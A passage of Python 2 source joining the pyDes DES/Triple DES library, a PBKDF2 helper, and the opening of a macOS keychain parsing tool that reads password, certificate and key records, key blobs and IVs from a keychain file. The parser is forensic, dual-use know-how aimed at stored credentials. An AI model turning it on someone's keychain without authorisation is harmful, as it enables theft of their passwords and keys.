              #   self.R[j] = self.R[j] ^ self.Kn[iteration][j]
              #   j += 1
              #   if j % 6 == 0:
              #       B.append(self.R[j-6:j])
  
              # Permutate B[1] to B[8] using the S-Boxes
              j = 0
              Bn = [0] * 32
              pos = 0
              while j < 8:
                  # Work out the offsets
                  m = (B[j][0] << 1) + B[j][5]
                  n = (B[j][1] << 3) + (B[j][2] << 2) + (B[j][3] << 1) + B[j][4]
  
                  # Find the permutation value
                  v = des.__sbox[j][(m << 4) + n]
  
                  # Turn value into bits, add it to result: Bn
                  Bn[pos] = (v & 8) >> 3
                  Bn[pos + 1] = (v & 4) >> 2
                  Bn[pos + 2] = (v & 2) >> 1
                  Bn[pos + 3] = v & 1
  
                  pos += 4
                  j += 1
  
              # Permutate the concatination of B[1] to B[8] (Bn)
              self.R = self.__permutate(des.__p, Bn)
  
              # Xor with L[i - 1]
              self.R = map(lambda x, y: x ^ y, self.R, self.L)
              # Optimization: This now replaces the below commented code
              #j = 0
              #while j < len(self.R):
              #   self.R[j] = self.R[j] ^ self.L[j]
              #   j += 1
  
              # L[i] becomes R[i - 1]
              self.L = tempR
  
              i += 1
              iteration += iteration_adjustment
  
          # Final permutation of R[16]L[16]
          self.final = self.__permutate(des.__fp, self.R + self.L)
          return self.final
  
  
      # Data to be encrypted/decrypted
      def crypt(self, data, crypt_type):
          '''Crypt the data in blocks, running it through des_crypt'''
  
          # Error check the data
          if not data:
              return ''
          if len(data) % self.block_size != 0:
              if crypt_type == des.DECRYPT:  # Decryption must work on 8 byte blocks
                  raise ValueError(
                      "Invalid data length, data must be a multiple of " + str(self.block_size) + " bytes\n.")
              if not self.getPadding():
                  raise ValueError("Invalid data length, data must be a multiple of " + str(
                      self.block_size) + " bytes\n. Try setting the optional padding character")
              else:
                  data += (self.block_size - (len(data) % self.block_size)) * self.getPadding()
              # print "Len of data: %f" % (len(data) / self.block_size)
  
          if self.getMode() == CBC:
              if self.getIV():
                  iv = self.__String_to_BitList(self.getIV())
              else:
                  raise ValueError("For CBC mode, you must supply the Initial Value (IV) for ciphering")
  
          # Split the data into blocks, crypting each one seperately
          i = 0
          dict = {}
          result = []
          #cached = 0
          #lines = 0
          while i < len(data):
              # Test code for caching encryption results
              #lines += 1
              #if dict.has_key(data[i:i+8]):
              #print "Cached result for: %s" % data[i:i+8]
              #   cached += 1
              #   result.append(dict[data[i:i+8]])
              #   i += 8
              #   continue
  
              block = self.__String_to_BitList(data[i:i + 8])
  
              # Xor with IV if using CBC mode
              if self.getMode() == CBC:
                  if crypt_type == des.ENCRYPT:
                      block = map(lambda x, y: x ^ y, block, iv)
                  #j = 0
                  #while j < len(block):
                  #   block[j] = block[j] ^ iv[j]
                  #   j += 1
  
                  processed_block = self.__des_crypt(block, crypt_type)
  
                  if crypt_type == des.DECRYPT:
                      processed_block = map(lambda x, y: x ^ y, processed_block, iv)
                      #j = 0
                      #while j < len(processed_block):
                      #   processed_block[j] = processed_block[j] ^ iv[j]
                      #   j += 1
                      iv = block
                  else:
                      iv = processed_block
              else:
                  processed_block = self.__des_crypt(block, crypt_type)
  
  
              # Add the resulting crypted block to our list
              #d = self.__BitList_to_String(processed_block)
              #result.append(d)
              result.append(self.__BitList_to_String(processed_block))
              #dict[data[i:i+8]] = d
              i += 8
  
          # print "Lines: %d, cached: %d" % (lines, cached)
  
          # Remove the padding from the last block
          if crypt_type == des.DECRYPT and self.getPadding():
              #print "Removing decrypt pad"
              s = result[-1]
              while s[-1] == self.getPadding():
                  s = s[:-1]
              result[-1] = s
  
          # Return the full crypted string
          return ''.join(result)
  
      def encrypt(self, data, pad=''):
          '''encrypt(data, [pad]) -> string
  
          data : String to be encrypted
          pad  : Optional argument for encryption padding. Must only be one byte
  
          The data must be a multiple of 8 bytes and will be encrypted
          with the already specified key. Data does not have to be a
          multiple of 8 bytes if the padding character is supplied, the
          data will then be padded to a multiple of 8 bytes with this
          pad character.
          '''
          self.__padding = pad
          return self.crypt(data, des.ENCRYPT)
  
      def decrypt(self, data, pad=''):
          '''decrypt(data, [pad]) -> string
  
          data : String to be encrypted
          pad  : Optional argument for decryption padding. Must only be one byte
  
          The data must be a multiple of 8 bytes and will be decrypted
          with the already specified key. If the optional padding character
          is supplied, then the un-encypted data will have the padding characters
          removed from the end of the string. This pad removal only occurs on the
          last 8 bytes of the data (last data block).
          '''
          self.__padding = pad
          return self.crypt(data, des.DECRYPT)
  
  
  #############################################################################
  #               Triple DES                  #
  #############################################################################
  class triple_des:
      '''Triple DES encryption/decrytpion class
  
      This algorithm uses the DES-EDE3 (when a 24 byte key is supplied) or
      the DES-EDE2 (when a 16 byte key is supplied) encryption methods.
      Supports ECB (Electronic Code Book) and CBC (Cypher Block Chaining) modes.
  
      pyDes.des(key, [mode], [IV])
  
      key  -> The encryption key string, must be either 16 or 24 bytes long
      mode -> Optional argument for encryption type, can be either pyDes.ECB
          (Electronic Code Book), pyDes.CBC (Cypher Block Chaining)
      IV   -> Optional string argument, must be supplied if using CBC mode.
          Must be 8 bytes in length.
      '''
  
      def __init__(self, key, mode=ECB, IV=None):
          self.block_size = 8
          self.setMode(mode)
          self.__padding = ''
          self.__iv = IV
          self.setKey(key)
  
      def getKey(self):
          '''getKey() -> string'''
          return self.__key
  
      def setKey(self, key):
          '''Will set the crypting key for this object. Either 16 or 24 bytes long'''
          self.key_size = 24  # Use DES-EDE3 mode
          if len(key) != self.key_size:
              if len(key) == 16:  # Use DES-EDE2 mode
                  self.key_size = 16
              else:
                  raise ValueError("Invalid triple DES key size. Key must be either 16 or 24 bytes long")
          if self.getMode() == CBC and (not self.getIV() or len(self.getIV()) != self.block_size):
              raise ValueError("Invalid IV, must be 8 bytes in length")  ## TODO: Check this
          # modes get handled later, since CBC goes on top of the triple-des
          self.__key1 = des(key[:8])
          self.__key2 = des(key[8:16])
          if self.key_size == 16:
              self.__key3 = self.__key1
          else:
              self.__key3 = des(key[16:])
          self.__key = key
  
      def getMode(self):
          '''getMode() -> pyDes.ECB or pyDes.CBC'''
          return self.__mode
  
      def setMode(self, mode):
          '''Sets the type of crypting mode, pyDes.ECB or pyDes.CBC'''
          self.__mode = mode
  
      def getIV(self):
          '''getIV() -> string'''
          return self.__iv
  
      def setIV(self, IV):
          '''Will set the Initial Value, used in conjunction with CBC mode'''
          self.__iv = IV
  
      def xorstr(self, x, y):
          '''Returns the bitwise xor of the bytes in two strings'''
          if len(x) != len(y):
              raise "string lengths differ %d %d" % (len(x), len(y))
  
          ret = ''
          for i in range(len(x)):
              ret += chr(ord(x[i]) ^ ord(y[i]))
  
          return ret
  
      def encrypt(self, data, pad=''):
          '''encrypt(data, [pad]) -> string
  
          data : String to be encrypted
          pad  : Optional argument for encryption padding. Must only be one byte
  
          The data must be a multiple of 8 bytes and will be encrypted
          with the already specified key. Data does not have to be a
          multiple of 8 bytes if the padding character is supplied, the
          data will then be padded to a multiple of 8 bytes with this
          pad character.
          '''
          if self.getMode() == ECB:
              # simple
              data = self.__key1.encrypt(data, pad)
              data = self.__key2.decrypt(data)
              return self.__key3.encrypt(data)
  
          if self.getMode() == CBC:
              raise "This code hasn't been tested yet"
              if len(data) % self.block_size != 0:
                  raise "CBC mode needs datalen to be a multiple of blocksize (ignoring padding for now)"
  
              # simple
              lastblock = self.getIV()
              retdata = ''
              for i in range(0, len(data), self.block_size):
                  thisblock = data[i:i + self.block_size]
                  # the XOR for CBC
                  thisblock = self.xorstr(lastblock, thisblock)
                  thisblock = self.__key1.encrypt(thisblock)
                  thisblock = self.__key2.decrypt(thisblock)
                  lastblock = self.__key3.encrypt(thisblock)
                  retdata += lastblock
              return retdata
  
          raise "Not reached"
  
      def decrypt(self, data, pad=''):
          '''decrypt(data, [pad]) -> string
  
          data : String to be encrypted
          pad  : Optional argument for decryption padding. Must only be one byte
  
          The data must be a multiple of 8 bytes and will be decrypted
          with the already specified key. If the optional padding character
          is supplied, then the un-encypted data will have the padding characters
          removed from the end of the string. This pad removal only occurs on the
          last 8 bytes of the data (last data block).
          '''
          if self.getMode() == ECB:
              # simple
              data = self.__key3.decrypt(data)
              data = self.__key2.encrypt(data)
              return self.__key1.decrypt(data, pad)
  
          if self.getMode() == CBC:
              if len(data) % self.block_size != 0:
                  raise "Can only decrypt multiples of blocksize"
  
              lastblock = self.getIV()
              retdata = ''
              for i in range(0, len(data), self.block_size):
                  # can I arrange this better? probably...
                  cipherchunk = data[i:i + self.block_size]
                  thisblock = self.__key3.decrypt(cipherchunk)
                  thisblock = self.__key2.encrypt(thisblock)
                  thisblock = self.__key1.decrypt(thisblock)
                  retdata += self.xorstr(lastblock, thisblock)
                  lastblock = cipherchunk
              return retdata
  
          raise "Not reached"
  
  
  #############################################################################
  #               Examples                    #
  #############################################################################
  def example_triple_des():
      from time import time
  
      # Utility module
      from binascii import unhexlify as unhex
  
      # example shows triple-des encryption using the des class
      print "Example of triple DES encryption in default ECB mode (DES-EDE3)\n"
  
      print "Triple des using the des class (3 times)"
      t = time()
      k1 = des(unhex("133457799BBCDFF1"))
      k2 = des(unhex("1122334455667788"))
      k3 = des(unhex("77661100DD223311"))
      d = "Triple DES test string, to be encrypted and decrypted..."
      print "Key1:      %s" % k1.getKey()
      print "Key2:      %s" % k2.getKey()
      print "Key3:      %s" % k3.getKey()
      print "Data:      %s" % d
  
      e1 = k1.encrypt(d)
      e2 = k2.decrypt(e1)
      e3 = k3.encrypt(e2)
      print "Encrypted: " + e3
  
      d3 = k3.decrypt(e3)
      d2 = k2.encrypt(d3)
      d1 = k1.decrypt(d2)
      print "Decrypted: " + d1
      print "DES time taken: %f (%d crypt operations)" % (time() - t, 6 * (len(d) / 8))
      print ""
  
      # Example below uses the triple-des class to achieve the same as above
      print "Now using triple des class"
      t = time()
      t1 = triple_des(unhex("133457799BBCDFF1112233445566778877661100DD223311"))
      print "Key:       %s" % t1.getKey()
      print "Data:      %s" % d
  
      td1 = t1.encrypt(d)
      print "Encrypted: " + td1
  
      td2 = t1.decrypt(td1)
      print "Decrypted: " + td2
  
      print "Triple DES time taken: %f (%d crypt operations)" % (time() - t, 6 * (len(d) / 8))
  
  
  def example_des():
      from time import time
  
      # example of DES encrypting in CBC mode with the IV of "\0\0\0\0\0\0\0\0"
      print "Example of DES encryption using CBC mode\n"
      t = time()
      k = des("DESCRYPT", CBC, "\0\0\0\0\0\0\0\0")
      data = "DES encryption algorithm"
      print "Key      : " + k.getKey()
      print "Data     : " + data
  
      d = k.encrypt(data)
      print "Encrypted: " + d
  
      d = k.decrypt(d)
      print "Decrypted: " + d
      print "DES time taken: %f (6 crypt operations)" % (time() - t)
      print ""
  
  
  def __test__():
      example_des()
      example_triple_des()
  
  
  def __fulltest__():
      # This should not produce any unexpected errors or exceptions
      from binascii import unhexlify as unhex
      from binascii import hexlify as dohex
  
      __test__()
      print ""
  
      k = des("\0\0\0\0\0\0\0\0", CBC, "\0\0\0\0\0\0\0\0")
      d = k.encrypt("DES encryption algorithm")
      if k.decrypt(d) != "DES encryption algorithm":
          print "Test 1 Error: Unencypted data block does not match start data"
  
      k = des("\0\0\0\0\0\0\0\0", CBC, "\0\0\0\0\0\0\0\0")
      d = k.encrypt("Default string of text", '*')
      if k.decrypt(d, "*") != "Default string of text":
          print "Test 2 Error: Unencypted data block does not match start data"
  
      k = des("\r\n\tABC\r\n")
      d = k.encrypt("String to Pad", '*')
      if k.decrypt(d) != "String to Pad***":
          print "'%s'" % k.decrypt(d)
          print "Test 3 Error: Unencypted data block does not match start data"
  
      k = des("\r\n\tABC\r\n")
      d = k.encrypt(unhex("000102030405060708FF8FDCB04080"), unhex("44"))
      if k.decrypt(d, unhex("44")) != unhex("000102030405060708FF8FDCB04080"):
          print "Test 4a Error: Unencypted data block does not match start data"
      if k.decrypt(d) != unhex("000102030405060708FF8FDCB0408044"):
          print "Test 4b Error: Unencypted data block does not match start data"
  
      k = triple_des("MyDesKey\r\n\tABC\r\n0987*543")
      d = k.encrypt(unhex(
          "000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080"))
      if k.decrypt(d) != unhex(
              "000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080"):
          print "Test 5 Error: Unencypted data block does not match start data"
  
      k = triple_des("\r\n\tABC\r\n0987*543")
      d = k.encrypt(unhex(
          "000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080"))
      if k.decrypt(d) != unhex(
              "000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080000102030405060708FF8FDCB04080"):
          print "Test 6 Error: Unencypted data block does not match start data"
  
  
  def __filetest__():
      from time import time
  
      f = open("pyDes.py", "rb+")
      d = f.read()
      f.close()
  
      t = time()
      k = des("MyDESKey")
  
      d = k.encrypt(d, " ")
      f = open("pyDes.py.enc", "wb+")
      f.write(d)
      f.close()
  
      d = k.decrypt(d, " ")
      f = open("pyDes.py.dec", "wb+")
      f.write(d)
      f.close()
      print "DES file test time: %f" % (time() - t)
  
  
  def __profile__():
      import profile
  
      profile.run('__fulltest__()')
  
  #profile.run('__filetest__()')
  
  
  
  #!/usr/bin/env python
  
  # A simple implementation of pbkdf2 using stock python modules. See RFC2898
  # for details. Basically, it derives a key from a password and salt.
  
  # (c) 2004 Matt Johnston <matt @ ucc asn au>
  # This code may be freely used and modified for any purpose.
  
  import sha
  import hmac
  
  from binascii import hexlify, unhexlify
  from struct import pack
  
  BLOCKLEN = 20
  
  # this is what you want to call.
  def pbkdf2(password, salt, itercount, keylen, hashfn=sha):
      # l - number of output blocks to produce
      l = keylen / BLOCKLEN
      if keylen % BLOCKLEN != 0:
          l += 1
  
      h = hmac.new(password, None, hashfn)
  
      T = ""
      for i in range(1, l + 1):
          T += pbkdf2_F(h, salt, itercount, i)
  
      return T[: -( BLOCKLEN - keylen % BLOCKLEN)]
  
  
  def xorstr(a, b):
      if len(a) != len(b):
          raise "xorstr(): lengths differ"
  
      ret = ''
      for i in range(len(a)):
          ret += chr(ord(a[i]) ^ ord(b[i]))
  
      return ret
  
  
  def prf(h, data):
      hm = h.copy()
      hm.update(data)
      return hm.digest()
  
  
  # Helper as per the spec. h is a hmac which has been created seeded with the
  # password, it will be copy()ed and not modified.
  def pbkdf2_F(h, salt, itercount, blocknum):
      U = prf(h, salt + pack('>i', blocknum))
      T = U
  
      for i in range(2, itercount + 1):
          U = prf(h, U)
          T = xorstr(T, U)
  
      return T
  
  
  def test():
      # test vector from rfc3211
      password = 'password'
      salt = unhexlify('1234567878563412')
      password = 'All n-entities must communicate with other n-entities via n-1 entiteeheehees'
      itercount = 500
      keylen = 16
      ret = pbkdf2(password, salt, itercount, keylen)
      print "key:      %s" % hexlify(ret)
      print "expected: 6A 89 70 BF 68 C9 2C AE A8 4A 8D F2 85 10 85 86"
  
  
  
  
  
  #!/usr/bin/env python
  
  # Author : n0fate
  # E-Mail rapfer@gmail.com, n0fate@n0fate.com
  #
  # This program is free software; you can redistribute it and/or modify
  # it under the terms of the GNU General Public License as published by
  # the Free Software Foundation; either version 2 of the License, or (at
  # your option) any later version.
  #
  # This program is distributed in the hope that it will be useful, but
  # WITHOUT ANY WARRANTY; without even the implied warranty of
  # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
  # General Public License for more details.
  #
  # You should have received a copy of the GNU General Public License
  # along with this program; if not, write to the Free Software
  # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
  #
  
  import argparse
  import os
  from sys import exit
  import struct
  from binascii import unhexlify
  import datetime
  
  
  #from pbkdf2 import pbkdf2
  
  #from pyDes import triple_des, CBC
  from ctypes import *
  #from Schema import *
  
  def hexdump(src, length=16):
      FILTER = ''.join([(len(repr(chr(x))) == 3) and chr(x) or '.' for x in range(256)])
      lines = []
      for c in xrange(0, len(src), length):
          chars = src[c:c+length]
          hex = ' '.join(["%02x" % ord(x) for x in chars])
          printable = ''.join(["%s" % ((ord(x) <= 127 and FILTER[ord(x)]) or '.') for x in chars])
          lines.append("%04x  %-*s  %s\n" % (c, length*3, hex, printable))
      print ''.join(lines)
      
  ATOM_SIZE = 4
  SIZEOFKEYCHAINTIME = 16
  
  KEYCHAIN_SIGNATURE = "kych"
  
  DBBLOB_SIGNATURE = unhexlify('fade0711')
  
  BLOCKSIZE = 8
  KEYLEN = 24
  
  class _APPL_DB_HEADER(BigEndianStructure):
      _fields_ = [
          ("Signature", c_char*4),
          ("Version", c_int),
          ("HeaderSize", c_int),
          ("SchemaOffset", c_int),
          ("AuthOffset", c_int)
      ]
  
  class _APPL_DB_SCHEMA(BigEndianStructure):
      _fields_ = [
          ("SchemaSize", c_int),
          ("TableCount", c_int)
      ]
  
  class _KEY_BLOB_REC_HEADER(BigEndianStructure):
      _fields_ = [
          ("RecordSize", c_uint),
          ("RecordCount", c_uint),
          ("Dummy", c_char*0x7C),
      ]
  
  class _KEY_BLOB_RECORD(BigEndianStructure):
      _fields_ = [
          ("Signature", c_uint),
          ("Version", c_uint),
          ("CipherOffset", c_uint),
          ("TotalLength", c_uint)
      ]
  
  class _GENERIC_PW_HEADER(BigEndianStructure):
      _fields_ = [
          ("RecordSize", c_uint),
          ("RecordNumber", c_uint),
          ("Unknown2", c_uint),
          ("Unknown3", c_uint),
          ("SSGPArea", c_uint),
          ("Unknown5", c_uint),
          ("CreationDate", c_uint),
          ("ModDate", c_uint),
          ("Description", c_uint),
          ("Comment", c_uint),
          ("Creator", c_uint),
          ("Type", c_uint),
          ("ScriptCode", c_uint),
          ("PrintName", c_uint),
          ("Alias", c_uint),
          ("Invisible", c_uint),
          ("Negative", c_uint),
          ("CustomIcon", c_uint),
          ("Protected", c_uint),
          ("Account", c_uint),
          ("Service", c_uint),
          ("Generic", c_uint)
      ]
  
  class _APPLE_SHARE_HEADER(BigEndianStructure):
      _fields_ = [
          ("RecordSize", c_uint),
          ("RecordNumber", c_uint),
          ("Unknown2", c_uint),
          ("Unknown3", c_uint),
          ("SSGPArea", c_uint),
          ("Unknown5", c_uint),
          ("CreationDate", c_uint),
          ("ModDate", c_uint),
          ("Description", c_uint),
          ("Comment", c_uint),
          ("Creator", c_uint),
          ("Type", c_uint),
          ("ScriptCode", c_uint),
          ("PrintName", c_uint),
          ("Alias", c_uint),
          ("Invisible", c_uint),
          ("Negative", c_uint),
          ("CustomIcon", c_uint),
          ("Protected", c_uint),
          ("Account", c_uint),
          ("Volume", c_uint),
          ("Server", c_uint),
          ("Protocol", c_uint),
          ("AuthType", c_uint),
          ("Address", c_uint),
          ("Signature", c_uint)
      ]
  
  class _INTERNET_PW_HEADER(BigEndianStructure):
      _fields_ = [
          ("RecordSize", c_uint),
          ("RecordNumber", c_uint),
          ("Unknown2", c_uint),
          ("Unknown3", c_uint),
          ("SSGPArea", c_uint),
          ("Unknown5", c_uint),
          ("CreationDate", c_uint),
          ("ModDate", c_uint),
          ("Description", c_uint),
          ("Comment", c_uint),
          ("Creator", c_uint),
          ("Type", c_uint),
          ("ScriptCode", c_uint),
          ("PrintName", c_uint),
          ("Alias", c_uint),
          ("Invisible", c_uint),
          ("Negative", c_uint),
          ("CustomIcon", c_uint),
          ("Protected", c_uint),
          ("Account", c_uint),
          ("SecurityDomain", c_uint),
          ("Server", c_uint),
          ("Protocol", c_uint),
          ("AuthType", c_uint),
          ("Port", c_uint),
          ("Path", c_uint)
      ]
  
  class _X509_CERT_HEADER(BigEndianStructure):
      _fields_ = [
          ("RecordSize", c_uint),
          ("RecordNumber", c_uint),
          ("Unknown1", c_uint),
          ("Unknown2", c_uint),
          ("CertSize", c_uint),
          ("Unknown3", c_uint),
          ("CertType", c_uint),
          ("CertEncoding", c_uint),
          ("PrintName", c_uint),
          ("Alias", c_uint),
          ("Subject", c_uint),
          ("Issuer", c_uint),
          ("SerialNumber", c_uint),
          ("SubjectKeyIdentifier", c_uint),
          ("PublicKeyHash", c_uint)
      ]
  
  # http://www.opensource.apple.com/source/Security/Security-55179.1/include/security_cdsa_utilities/KeySchema.h
  # http://www.opensource.apple.com/source/libsecurity_keychain/libsecurity_keychain-36940/lib/SecKey.h
  class _SECKEY_HEADER(BigEndianStructure):
      _fields_ = [
          ("RecordSize", c_uint),
          ("RecordNumber", c_uint),
          ("Unknown1", c_uint),
          ("Unknown2", c_uint),
          ("BlobSize", c_uint),
          ("Unknown3", c_uint),
          ("KeyClass", c_uint),
          ("PrintName", c_uint),
          ("Alias", c_uint),
          ("Permanent", c_uint),
          ("Private", c_uint),
          ("Modifiable", c_uint),
          ("Label", c_uint),
          ("ApplicationTag", c_uint),
          ("KeyCreator", c_uint),
          ("KeyType", c_uint),
          ("KeySizeInBits", c_uint),
          ("EffectiveKeySize", c_uint),
          ("StartDate", c_uint),
          ("EndDate", c_uint),
          ("Sensitive", c_uint),
          ("AlwaysSensitive", c_uint),
          ("Extractable", c_uint),
          ("NeverExtractable", c_uint),
          ("Encrypt", c_uint),
          ("Decrypt", c_uint),
          ("Derive", c_uint),
          ("Sign", c_uint),
          ("Verify", c_uint),
          ("SignRecover", c_uint),
          ("VerifyRecover", c_uint),
          ("Wrap", c_uint),
          ("Wrap", c_uint)
      ]
  
  class _TABLE_HEADER(BigEndianStructure):
      _fields_ = [
          ("TableSize", c_uint),
          ("TableId", c_uint),
          ("RecordCount", c_uint),
          ("Records", c_uint),
          ("IndexesOffset", c_uint),
          ("FreeListHead", c_uint),
          ("RecordNumbersCount", c_uint),
          #("RecordNumbers", c_uint)
      ]
  
  class _SCHEMA_INFO_RECORD(BigEndianStructure):
      _fields_ = [
          ("RecordSize", c_uint),
          ("RecordNumber", c_uint),
          ("Unknown2", c_uint),
          ("Unknown3", c_uint),
          ("Unknown4", c_uint),
          ("Unknown5", c_uint),
          ("Unknown6", c_uint),
          ("RecordType", c_uint),
          ("DataSize", c_uint),
          ("Data", c_uint)
      ]
  
  class _ENCRYPTED_BLOB_METADATA(BigEndianStructure):
      _fields_ = [
          ("MagicNumber", c_uint),
          ("Unknown", c_uint),
          ("StartOffset", c_uint),
          ("EndOffset", c_uint)
      ]
  
  def _memcpy(buf, fmt):
      return cast(c_char_p(buf), POINTER(fmt)).contents
  
  
  class KeyChain():
      def __init__(self, filepath):
          self.filepath = filepath
          self.fbuf = ''
  
      def open(self):
          try:
              fhandle = open(self.filepath, 'rb')
          except:
              return False
          self.fbuf = fhandle.read()
          if len(self.fbuf):
              fhandle.close()
              return True
          return False
  
      def checkValidKeychain(self):
          if self.fbuf[0:4] != KEYCHAIN_SIGNATURE:
              return False
          return True
  
      ## get apple DB Header
      def getHeader(self):
          header = _memcpy(self.fbuf[:sizeof(_APPL_DB_HEADER)], _APPL_DB_HEADER)
  
          return header
  
      def getSchemaInfo(self, offset):
          table_list = []
          #schema_info = struct.unpack(APPL_DB_SCHEMA, self.fbuf[offset:offset + APPL_DB_SCHEMA_SIZE])
          _schemainfo = _memcpy(self.fbuf[offset:offset+sizeof(_APPL_DB_SCHEMA)], _APPL_DB_SCHEMA)
          for i in xrange(_schemainfo.TableCount):
              BASE_ADDR = sizeof(_APPL_DB_HEADER) + sizeof(_APPL_DB_SCHEMA)
              table_list.append(
                  struct.unpack('>I', self.fbuf[BASE_ADDR + (ATOM_SIZE * i):BASE_ADDR + (ATOM_SIZE * i) + ATOM_SIZE])[0])
  
          return _schemainfo, table_list
  
      def getTable(self, offset):
          record_list = []
          BASE_ADDR = sizeof(_APPL_DB_HEADER) + offset
  
          TableMetaData = _memcpy(self.fbuf[BASE_ADDR:BASE_ADDR+sizeof(_TABLE_HEADER)], _TABLE_HEADER)
  
          RECORD_OFFSET_BASE = BASE_ADDR + sizeof(_TABLE_HEADER)
  
          record_count = 0
          offset = 0
          while TableMetaData.RecordCount != record_count:
              RecordOffset = struct.unpack('>I', self.fbuf[
                                                  RECORD_OFFSET_BASE + (ATOM_SIZE * offset):RECORD_OFFSET_BASE + (
                                                      ATOM_SIZE * offset) + ATOM_SIZE])[0]
              # if len(record_list) >= 1:
              #     if record_list[len(record_list)-1] >= RecordOffset:
              #         continue
              if (RecordOffset != 0x00) and (RecordOffset%4 == 0):
                  record_list.append(RecordOffset)
                  #print ' [-] Record Offset: 0x%.8x'%RecordOffset
                  record_count += 1
              offset +=1
  
          return TableMetaData, record_list
  
      def getTablenametoList(self, recordList, tableList):
          TableDic = {}
          for count in xrange(len(recordList)):
              tableMeta, GenericList = self.getTable(tableList[count])
              TableDic[tableMeta.TableId] = count    # extract valid table list
  
          return len(recordList), TableDic
  
      def getSchemaInfoRecord(self, base_addr, offset):
  
          record_meta = []
          record = []
  
          BASE_ADDR = sizeof(_APPL_DB_HEADER) + base_addr + offset
  
          #print BASE_ADDR
  
          RecordMetadata = _memcpy(self.fbuf[BASE_ADDR:BASE_ADDR+sizeof(_SCHEMA_INFO_RECORD)], _SCHEMA_INFO_RECORD)
  
          data = self.fbuf[BASE_ADDR + 40:BASE_ADDR + 40 + RecordMetadata.DataSize]
  
          for record_element in RecordMetadata:
              record.append(record_element)
  
          record.append(data)
  
          return record
  
      def getKeyblobRecord(self, base_addr, offset):
  
          BASE_ADDR = sizeof(_APPL_DB_HEADER) + base_addr + offset
  
          KeyBlobRecHeader = _memcpy(self.fbuf[BASE_ADDR:BASE_ADDR+sizeof(_KEY_BLOB_REC_HEADER)], _KEY_BLOB_REC_HEADER)
  
  
          # record_meta[0] => record size
          record = self.fbuf[BASE_ADDR + sizeof(_KEY_BLOB_REC_HEADER):BASE_ADDR + KeyBlobRecHeader.RecordSize]  # password data area
  
          KeyBlobRecord = _memcpy(record[:sizeof(_KEY_BLOB_RECORD)], _KEY_BLOB_RECORD)
  
          if SECURE_STORAGE_GROUP != str(record[KeyBlobRecord.TotalLength + 8:KeyBlobRecord.TotalLength + 8 + 4]):
              #print 'not ssgp %s'%str(record[KeyBlobRecord.TotalLength + 8:KeyBlobRecord.TotalLength + 8 + 4])
              #exit()
              return '', '', '', 1
  
          CipherLen = KeyBlobRecord.TotalLength - KeyBlobRecord.CipherOffset
          if CipherLen % BLOCKSIZE != 0:
              print "Bad ciphertext len"
  
          iv = record[16:24]
  
          ciphertext = record[KeyBlobRecord.CipherOffset:KeyBlobRecord.TotalLength]
  
          # match data, keyblob_ciphertext, Initial Vector, success
          return record[KeyBlobRecord.TotalLength + 8:KeyBlobRecord.TotalLength + 8 + 20], ciphertext, iv, 0
  
  
      def getGenericPWRecord(self, base_addr, offset):
          record = []
  
          BASE_ADDR = sizeof(_APPL_DB_HEADER) + base_addr + offset
  
          RecordMeta = _memcpy(self.fbuf[BASE_ADDR:BASE_ADDR+sizeof(_GENERIC_PW_HEADER)], _GENERIC_PW_HEADER)
  
          Buffer = self.fbuf[BASE_ADDR + sizeof(_GENERIC_PW_HEADER):BASE_ADDR + RecordMeta.RecordSize]  # record_meta[0] => record size
  
          if RecordMeta.SSGPArea != 0:
              record.append(Buffer[:RecordMeta.SSGPArea])
          else:
              record.append('')
          
          record.append(self.getKeychainTime(BASE_ADDR, RecordMeta.CreationDate & 0xFFFFFFFE))
          record.append(self.getKeychainTime(BASE_ADDR, RecordMeta.ModDate & 0xFFFFFFFE))
  
          record.append(self.getLV(BASE_ADDR, RecordMeta.Description & 0xFFFFFFFE))
  
          record.append(self.getFourCharCode(BASE_ADDR, RecordMeta.Creator & 0xFFFFFFFE))
          record.append(self.getFourCharCode(BASE_ADDR, RecordMeta.Type & 0xFFFFFFFE))
  
          record.append(self.getLV(BASE_ADDR, RecordMeta.PrintName & 0xFFFFFFFE))
          record.append(self.getLV(BASE_ADDR, RecordMeta.Alias & 0xFFFFFFFE))
          record.append(self.getLV(BASE_ADDR, RecordMeta.Account & 0xFFFFFFFE))
          record.append(self.getLV(BASE_ADDR, RecordMeta.Service & 0xFFFFFFFE))
  
          return record
  
      def getInternetPWRecord(self, base_addr, offset):
          record = []
  
          BASE_ADDR = sizeof(_APPL_DB_HEADER) + base_addr + offset
  
          RecordMeta = _memcpy(self.fbuf[BASE_ADDR:BASE_ADDR+sizeof(_INTERNET_PW_HEADER)], _INTERNET_PW_HEADER)
  
          Buffer = self.fbuf[BASE_ADDR + sizeof(_INTERNET_PW_HEADER):BASE_ADDR + RecordMeta.RecordSize]
  
          if RecordMeta.SSGPArea != 0:
              record.append(Buffer[:RecordMeta.SSGPArea])
          else:
              record.append('')
  
          record.append(self.getKeychainTime(BASE_ADDR, RecordMeta.CreationDate & 0xFFFFFFFE))
          record.append(self.getKeychainTime(BASE_ADDR, RecordMeta.ModDate & 0xFFFFFFFE))
  
          record.append(self.getLV(BASE_ADDR, RecordMeta.Description & 0xFFFFFFFE))
          record.append(self.getLV(BASE_ADDR, RecordMeta.Comment & 0xFFFFFFFE))
  
          record.append(self.getFourCharCode(BASE_ADDR, RecordMeta.Creator & 0xFFFFFFFE))
          record.append(self.getFourCharCode(BASE_ADDR, RecordMeta.Type & 0xFFFFFFFE))
  
          record.append(self.getLV(BASE_ADDR, RecordMeta.PrintName & 0xFFFFFFFE))
          record.append(self.getLV(BASE_ADDR, RecordMeta.Alias & 0xFFFFFFFE))
          record.append(self.getLV(BASE_ADDR, RecordMeta.Protected & 0xFFFFFFFE))
